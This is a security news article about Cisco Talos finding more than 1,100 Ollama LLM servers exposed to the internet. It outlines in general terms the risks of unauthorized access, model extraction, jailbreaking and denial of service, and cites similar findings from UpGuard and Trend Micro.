Exposed LLM Servers Expose Ollama Risks

More than a thousand servers running a tool that can deploy artificial intelligence models locally are exposed to the open internet, leaving them vulnerable to misuse and potential attacks.

See Also: AI Agents Demand Scalable Identity Security Frameworks

The Ollama AI platform allows organizations to run large language models on desktop machines or servers. Researchers from Cisco Talos used the Shodan scanning tool to search for unsecured Ollama instances and identified more than 1,100 that were publicly accessible. About 20% were “actively hosting models susceptible to unauthorized access.” The remainder weren’t currently running models, but were “susceptible to exploitation via unauthorized model uploads or configuration manipulation.”

An unauthorized user could query the model or its API, consume computational resources or generate cloud-usage fees if the server is linked to hosted systems. Many of these servers also expose information that could identify hosts, opening the door to targeted attacks.

Attackers could also launch model extraction attacks. Repeated queries to an unsecured machine learning server could allow adversaries to reconstruct its parameters. Jailbreaking and content abuse threaten the integrity of models like GPT-4, Llama or Mistral, since attackers could coerce large language models into producing malicious output such as malware code, misinformation or restricted content. Unprotected endpoints could enable adversaries to upload malicious payloads or load untrusted models remotely.

A lack of active models doesn’t eliminate the risk. Exposed interfaces could still be used in attacks involving resource exhaustion, denial of service or lateral movement.

Cisco Talos is not the first company to warn about the downsides of exposed Ollama instances. Attack surface management firm UpGuard previously examined exposed Ollama instances and warned that misconfigurations can leave systems subject to unauthorized access, data exfiltration or adversarial manipulation. It flagged six critical flaws that could be exploited for denial-of-service, model theft or model poisoning. Trend Micro spotted more than 10,000 Ollama servers publicly exposed with no authentication layer, the result of hurried AI deployments by developers under pressure (see: Patched Weeks Ago, RCE Bug in AI Tool Still a ‘Probllama’).

Cisco Talos said its findings “highlight a widespread neglect of fundamental security practices such as access control, authentication and network isolation in the deployment of AI systems.” The neglect often stems from organizations rushing to adopt emerging technologies without informing IT or security teams, for fear they might impose constraints or slow progress.

Uniform adoption of OpenAI-compatible APIs exacerbate the issue, enabling attackers to scale exploit attempts across platforms with minimal adaptation. The company called for the development of “standardized security baselines, automated auditing tools and improved deployment guidance for LLM infrastructure.”